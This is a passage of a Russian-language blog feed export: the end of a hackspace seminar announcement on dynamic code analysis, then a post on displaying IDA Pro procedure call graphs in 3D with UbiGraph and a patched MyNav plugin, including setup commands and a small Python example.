посвящённый полностью этой теме. В ходе семинара будут рассмотрены, применительно к решению конкретных типов задач, принципы работы множества инструментов, использующих в своей основе самые разные подходы к динамическому анализу кода: от банальной трассировки, до динамической рекомпиляции и виртуализации. Многие разработки, о которых будет идти речь, являются передним фронтом не только области безопасности программного обеспечения, но и computer science как таковой.&lt;br /&gt;&lt;br /&gt;Дата проведения: ???&lt;br /&gt;&lt;br /&gt;Мероприятия носят открытый характер. Для посещения семинаров нужно предварительно «зарегистрироваться», написав на &lt;a href="mailto:neuron@hackspace.ru"&gt;neuron@hackspace.ru&lt;/a&gt; о том кто вы и откуда, и что планируете прийти к нам в гости.&lt;br /&gt;&lt;br /&gt;Я надеюсь, что в дальнейшем регулярное проведение интересных технических семинаров и докладов в хакспейсе Neuron станет традиционным, и к нему, кроме меня, подключатся и другие исследователи которым есть что рассказать, причём не только по темам, имеющим отношение к безопасности.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-2818002360271644189?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/2818002360271644189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/2818002360271644189'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/10/neuron.html' title='Анонс семинаров в хакспейсе Neuron'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-7248608928786050101</id><published>2011-06-23T19:26:00.000-07:00</published><updated>2011-12-03T12:10:17.206-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='визуализация'/><category scheme='http://www.blogger.com/atom/ns#' term='реверсинг'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>3D графика как инструмент реверс-инженера</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Интерфейс взаимодействия между человеком и компьютером за прошедшие десятки лет практически не претерпел фундаментальных изменений, и в настоящее время по прежнему представляет собой либо командную строку, либо плоские "окна". Однако, существуют определённые научные дисциплины, обработка данных для которых с помощью&amp;nbsp;компьютера&amp;nbsp;не мыслима без использования 3D графики. К таким дисциплинам относятся различного рода инженерия, клеточная и молекулярная биология, физика высоких частиц и многие другие. Одним словом, все те области, которые требуют работы с большими объёмами данных со сложной структурой, организацией и множественными связями.&lt;br /&gt;&lt;br /&gt;При работе в области программирования а в особенности - реверс-инженеринга, технический специалист, вроде бы как, тоже сталкивается с подобными данными, однако, на сегодняшний день 3D графика (или что-либо с ней связанное), как рабочий инструмент, не имеет широкого распространения в области информационной безопасности.  В данной записи речь будет идти про интеграцию библиотеки &lt;a href="http://ubietylab.net/ubigraph/content/Docs/index.html"&gt;UbiGraph&lt;/a&gt; в программный пакет &lt;a href="http://www.idapro.ru/"&gt;IDA Pro&lt;/a&gt; с целью получения средства для визуализации графа связей между процедурами исследуемого кода.&lt;br /&gt;&lt;br /&gt;UbiGraph представляет собой универсальную библиотеку, которая предоставляет API для построения динамических трёхмерных графов. Благодаря использованию клиент-серверной архитектуры со взаимодействием через &lt;a href="http://xmlrpc-c.sourceforge.net/"&gt;XML-RPC for C&lt;/a&gt; он имеет легковесные биндинги для &lt;a href="http://ubietylab.net/ubigraph/content/Docs/index.html#languagebindings"&gt;большинства&lt;/a&gt; популярных языков программирования. Для того что бы увидеть возможности этой интереснейшей разработки достаточно просмотреть &lt;a href="http://www.youtube.com/results?search_query=UbiGraph"&gt;ролики на YouTube&lt;/a&gt; по соответствующим ключевым словам.&lt;br /&gt;&lt;br /&gt;Ниже продемонстрирован пример кода на Python, использующий UbiGraph API.&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellspacing="5"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="#eeeeee" valign="top"&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: blue;"&gt;import&lt;/span&gt;&lt;span style="color: black;"&gt; ubigraph&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;U &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; ubigraph.Ubigraph()&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;U.clear()&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;x &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; U.newVertex(shape&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;sphere&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, color&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;#ffff00&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;smallRed &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; U.newVertexStyle(shape&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;sphere&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, \&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;  color&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;#ff0000&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, size&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;0.2&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;previous_r &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; None&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: blue;"&gt;for&lt;/span&gt;&lt;span style="color: black;"&gt; i &lt;/span&gt;&lt;span style="color: blue;"&gt;in&lt;/span&gt;&lt;span style="color: black;"&gt; range(0, &lt;/span&gt;&lt;span style="color: black;"&gt;10&lt;/span&gt;&lt;span style="color: black;"&gt;):&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;  r &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; U.newVertex(style&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt;smallRed, label&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt;str(i))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;  U.newEdge(x, r, arrow&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt;True)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; previous_r &lt;/span&gt;&lt;span style="color: black;"&gt;!=&lt;/span&gt;&lt;span style="color: black;"&gt; None:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;    U.newEdge(r, previous_r, spline&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt;True, stroke&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;dashed&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;  previous_r &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; r&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td bgcolor="black" valign="top"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/test-graph.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/test-graph.png" style="border: 0px;" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;br /&gt;Однако, UbiGraph обладает рядом недостатков:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Закрытый исходный код сервера.&lt;/li&gt;&lt;li&gt;Исполняемый файл сервера доступен только для платформ Linux и OS X&lt;/li&gt;&lt;li&gt;Проект, судя по всему, заброшен и не развивается с 2008-го года. Связаться с разработчиком что бы разузнать о деталях текущего состояния проекта (или получить на каких-либо условиях его исходный код) мне так и не удалось.&lt;/li&gt;&lt;/ul&gt;Но даже не смотря на все эти недостатки - не представляется реальным&amp;nbsp;найти альтернативные разработки, которые бы по гибкости и возможностям приближались бы к UbiGraph. В связи с этим было решено провести ряд экспериментов именно с ним, поставив перед собой цель выяснить на практике перспективы&amp;nbsp;применения 3D визуализаций в реверс-инженеринге.&lt;br /&gt;&lt;br /&gt;Рассмотрим "обычный" граф процедур в IDA, который был получен при помощи плагина &lt;a href="http://code.google.com/p/mynav/"&gt;MyNav&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/proc-ida.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/proc-ida.png" style="border: 1px solid black;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;... и вид этого же (относительно простого и наглядного) графа в 3D, который строится модифицированной для работы с сервером UbiGraph версией MyNav 1.1:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/proc-ubigraph.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/proc-ubigraph.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;На первый взгляд - существенных&amp;nbsp;преимуществ&amp;nbsp;3D в данном примере не имеет, однако, благодаря тому, что такой граф можно вращать во всех плоскостях и масштабировать без существенных "тормозов" даже при огромном количестве узлов - его становится банально удобнее использовать для навигации по коду исследуемого файла.&lt;br /&gt;&lt;br /&gt;Разумеется, удобство является сугубо индивидуальным понятием, и каждый человек принимает относительно него какие-либо выводы опираясь исключительно на собственные ощущения. Я позиционирую результат проделанной мной работы как возможность взглянуть на привычный всем анализ дизасембилрованного кода под новым, интересным углом, а завершенным продуктом, который "совершит революцию", инструмент, о котором идет речь, ни коим образом не является уж точно.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Настройка рабочей среды&lt;/h2&gt;Как было упомянуто выше, UbiGraph запускается только на Linux и OS X. Исследователи, которые работают с IDA в среде данных операционных систем, не будут обременены сложными настройками в принципе, поэтому, далее подробно будет рассказано о настройке рабочей среды для UbiGraph на базе Windows.&lt;br /&gt;&lt;br /&gt;Для этого потребуется следующий софт:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Виртуальная машина с установленным Linux (дистрибутив&amp;nbsp;не принципиален).&lt;/li&gt;&lt;li&gt;X-Сервер для Windows (я использую &lt;a href="http://www.straightrunning.com/XmingNotes/"&gt;Xming&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;IDA Pro версии от 5.7 и старше (можно использовать &lt;a href="http://www.hex-rays.com/idapro/idadowndemo.htm"&gt;6.1 Demo c официального сайта&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/p/idapython/downloads/list"&gt;Python плагин для IDA&lt;/a&gt; (для версии Python 2.6.x) и, разумеется, установленный в системе интерпретатор Python 2.6.x.&lt;/li&gt;&lt;/ul&gt;Суть всех манипуляций по настройке заключается в том, что UbiGraph будет запущен в виртуальной машине с Linux, но при этом его окно с графом будет выводится на Windows-хост благодаря работающему на нем X-серверу:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/scheme.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/scheme.png" style="border: 0px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://esagelab.ru/blog/wp-content/uploads/2011/06/IDA-UbiGraph.png"&gt;&lt;/a&gt; На Linux загружаем и распаковываем последнюю версию UbiGraph:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;# wget http://ubietylab.net/files/alpha-0.2.4/UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz&lt;br /&gt;#&amp;nbsp;tar -xpf UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz&lt;br /&gt;#&amp;nbsp;cd UbiGraph-alpha-0.2.4-Linux32-Debian-4/bin/&lt;br /&gt;# ls -la&lt;br /&gt;total 1658&lt;br /&gt;drwxr-xr-x 2 user user     120 May 29  2008 .&lt;br /&gt;drwxr-xr-x 6 user user     328 May 29  2008 ..&lt;br /&gt;-rw-r--r-- 1 user user     927 May 29  2008 REQUIRED_LIBS.txt&lt;br /&gt;-rwxr-xr-x 1 user user 1689496 May 29  2008 ubigraph_server&lt;/pre&gt;&lt;br /&gt;После этого в Linux систему потребуется установить все библиотеки, с которыми динамически слинкован исполняемый файл ubigraph_server:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;# ldd ubigraph_server&lt;br /&gt; linux-gate.so.1 =&amp;gt;  (0xffffe000)&lt;br /&gt; libpthread.so.0 =&amp;gt; /lib/libpthread.so.0 (0xb789d000)&lt;br /&gt; libglut.so.3 =&amp;gt; /usr/lib/libglut.so.3 (0xb7869000)&lt;br /&gt; libGL.so.1 =&amp;gt; //usr/lib/opengl/xorg-x11/lib/libGL.so.1 (0xb7811000)&lt;br /&gt; libidn.so.11 =&amp;gt; /usr/lib/libidn.so.11 (0xb77de000)&lt;br /&gt; libstdc++.so.6 =&amp;gt; /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libstdc++.so.6 (0xb76ed000)&lt;br /&gt; libm.so.6 =&amp;gt; /lib/libm.so.6 (0xb76c7000)&lt;br /&gt; libgcc_s.so.1 =&amp;gt; /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libgcc_s.so.1 (0xb76a9000)&lt;br /&gt; libc.so.6 =&amp;gt; /lib/libc.so.6 (0xb7565000)&lt;br /&gt; libGLU.so.1 =&amp;gt; /usr/lib/libGLU.so.1 (0xb74f6000)&lt;br /&gt; libdl.so.2 =&amp;gt; /lib/libdl.so.2 (0xb74f2000)&lt;br /&gt; /lib/ld-linux.so.2 (0xb78c8000)&lt;br /&gt; libX11.so.6 =&amp;gt; /usr/lib/libX11.so.6 (0xb73d2000)&lt;br /&gt; libXext.so.6 =&amp;gt; /usr/lib/libXext.so.6 (0xb73c1000)&lt;br /&gt; libXxf86vm.so.1 =&amp;gt; /usr/lib/libXxf86vm.so.1 (0xb73bb000)&lt;br /&gt; libXdamage.so.1 =&amp;gt; /usr/lib/libXdamage.so.1 (0xb73b7000)&lt;br /&gt; libXfixes.so.3 =&amp;gt; /usr/lib/libXfixes.so.3 (0xb73b1000)&lt;br /&gt; libX11-xcb.so.1 =&amp;gt; /usr/lib/libX11-xcb.so.1 (0xb73ae000)&lt;br /&gt; libxcb-glx.so.0 =&amp;gt; /usr/lib/libxcb-glx.so.0 (0xb739a000)&lt;br /&gt; libxcb.so.1 =&amp;gt; /usr/lib/libxcb.so.1 (0xb737f000)&lt;br /&gt; libdrm.so.2 =&amp;gt; /usr/lib/libdrm.so.2 (0xb7374000)&lt;br /&gt; libXau.so.6 =&amp;gt; /usr/lib/libXau.so.6 (0xb7370000)&lt;br /&gt; libXdmcp.so.6 =&amp;gt; /usr/lib/libXdmcp.so.6 (0xb736a000)&lt;br /&gt; librt.so.1 =&amp;gt; /lib/librt.so.1 (0xb7360000)&lt;/pre&gt;&lt;br /&gt;Обычно, данный шаг не влечет за собой каких-либо проблем, и в моем Gentoo ubigraph_server без проблем запустился после установки всего, что фигурирует в выдаче ldd выше.  Далее, на Windows следует запустить X-Сервер (Xming), для этого удобно создать ярлык со следующей командной строкой:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;"С:\Program Files\Xming\Xming.exe" -clipboard -ac -multiwindow :0&lt;/pre&gt;&lt;br /&gt;После этого в Linux запускаем ubigraph_server:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;# DISPLAY=192.168.254.1:0 ./ubigraph_server&lt;br /&gt;freeglut (./ubigraph_server): Unable to create direct context rendering for window 'Ubigraph'&lt;br /&gt;This may hurt performance.&lt;br /&gt;freeglut (./ubigraph_server): Unable to create direct context rendering for window 'freeglut menu'&lt;br /&gt;This may hurt performance.&lt;br /&gt;1 processors&lt;br /&gt;Using single-level layout.&lt;br /&gt;Running Ubigraph/XML-RPC server.&lt;/pre&gt;&lt;br /&gt;... где 192.168.254.1 -- IP адрес Windows хоста с работающим X-Сервером. Если настройки верны и все шаги были выполнены правильно -- в Windows системе появится пустое чёрное окно UbiGraph.  После этого переходим к настройкам IDA Pro.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Настройка IDA Pro&lt;/h2&gt;В качестве основы для плагина, который позволял бы выводить граф процедур с помощью UbiGraph, мной был использован написанный на Python плагин &lt;a href="http://code.google.com/p/mynav/"&gt;MyNav&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between "interesting" functions and data entry points.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://github.com/Cr4sh/IDA-UbiGraph/blob/master/mynav-1.1-ubigraph.patch"&gt;Разработанный патч&lt;/a&gt; для данного плагина добавляет в его классы построения графов код взаимодействия с сервером UbiGraph. Архив, который включает в себя помимо патча уже модифицированную версию MyNav 1.1 доступен для загрузки &lt;a href="https://github.com/Cr4sh/IDA-UbiGraph/"&gt;в репозитории&lt;/a&gt; проекта IDA-UbiGraph на GitHub.&lt;br /&gt;&lt;br /&gt;Установка плагина происходит в несколько шагов:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Установите IDAPython согласно инструкциям в его документации.&lt;/li&gt;&lt;li&gt;Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro директорию mynav-1.1-ubigraph.&lt;/li&gt;&lt;li&gt;Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro файл ubicallback.pyd -- это Python модуль, который используется для обработки on-click событий по узлам графа в окне UbiGraph.&lt;/li&gt;&lt;/ol&gt;После этого необходимо отредактировать настройки плагина в файле&amp;nbsp;&lt;strong&gt;mynav-1.1-ubigraph/ubiconfig.py&lt;/strong&gt;, указав в нем адреса Linux хоста (на котором запускается ubigraph_server), и Windows хоста (на котором запускается IDA Pro):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;ubi_graph &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; None&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;ubi_is_initialized &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; False&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; ubigraph server XMLRPC URL&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;ubi_server_url &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;http://192.168.254.100:20738/RPC2&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; ubigraph client IP address &lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; i.e., host that runs IDA&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;ubi_local_addr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;192.168.254.1&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; If you're using IDA and UbiGraph server on the&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; same machine - just write 127.0.0.1 in both of&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;/span&gt;&lt;span style="color: green;"&gt; ubi_server_url and ubi_local_addr&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: green;"&gt;#&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;После выполнения всех перечисленных манипуляций можно запускать IDA Pro и начинать работу.&lt;br /&gt;&lt;br /&gt;Загрузка плагина MyNav производится с помощью пункта главного меню "File" -&amp;gt; "Script file...", или по горячей клавише Alt+F7. В появившемся диалоге выбора файла требуется открыть&amp;nbsp;&lt;strong&gt;mynav-1.1-ubigraph/mynav.py&lt;/strong&gt;. Если IDAPython корректно установлен, то после этого в главном меню "Edit" -&amp;gt; "Plugins" появится около двух десятков новых пунктов, соответствующих MyNav. Среди них для нашей задачи наиболее интересен "MyNav: Show browser", который так же доступен по горячей клавише Ctrl+Shift+B.&lt;br /&gt;&lt;br /&gt;Открыв вкладку с листингом дизассемблированного кода, установив курсор на начало какой-либо процедуры и нажав&amp;nbsp;Ctrl+Shift+B -- &amp;nbsp;мы вызовем MyNav, который задаст вопрос об глубине рекурсивного сканирования дерева функций при построении их графа:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/mynav-recursion-level.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/mynav-recursion-level.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Обычно, оптимальным является число от 1 до 3, так как при указании большей глубины граф получится слишком объёмным. После нажатия на &amp;lt;OK&amp;gt; MyNav построит граф на отдельной вкладке в окне IDA. В это же время, в окне UbiGraph будет построена 3D версия того же графа. При правильных настройках в IDA Output Window так же появится уведомление об успешном подключении к серверу UbiGraph:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/mynav-messages.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ida-ubigraph/mynav-messages.png" style="border: 1px solid black;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Команды, вызываемые в контекстном меню графа MyNav (например: скрыть/показать строки, или скрыть/показать вызовы API), соответствующим образом сказываются и на графе в UbiGraph.  Поскольку в самой IDA может быть открыто множество вкладок с графами, в окне&amp;nbsp;UbiGraph будет отображаться самый последний из них.&lt;br /&gt;&lt;br /&gt;Работа с UbiGraph в IDA Pro на видео:&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/26200637?byline=0&amp;amp;portrait=0" width="400" height="250" frameborder="0"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/26200637"&gt;3D graphs in IDA Pro with MyNav and UbiGraph&lt;/a&gt; from &lt;a href="http://vimeo.com/user7722035"&gt;Dmytro&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;К сожалению, проект&amp;nbsp;IDA-UbiGraph носит исключительно демонстрационный характер, так как его полноценное развитие не возможно без доработок и глубокой модификации самого UbiGraph. Однако, я буду рад, если после прочтения данной заметки другие программисты и хакеры обратят своё внимание на такую интересную тему, как 3D визуализации в области анализа кода и реверс-инженеринга, и так же начнут свои исследования в данном направлении.&lt;br /&gt;&lt;br /&gt;Полезные ссылки:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Страница проекта IDA-UbiGraph в GitHub -&amp;nbsp;&lt;a href="https://github.com/Cr4sh/IDA-UbiGraph"&gt;https://github.com/Cr4sh/IDA-UbiGraph&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Краткое описание возможностей MyNav -&amp;nbsp;&lt;a href="http://code.google.com/p/mynav/wiki/MenuItems"&gt;http://code.google.com/p/mynav/wiki/MenuItems&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Документация на UbiGraph&amp;nbsp;API -&amp;nbsp;&lt;a href="http://ubietylab.net/ubigraph/content/Docs/index.html"&gt;http://ubietylab.net/ubigraph/content/Docs/index.html&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 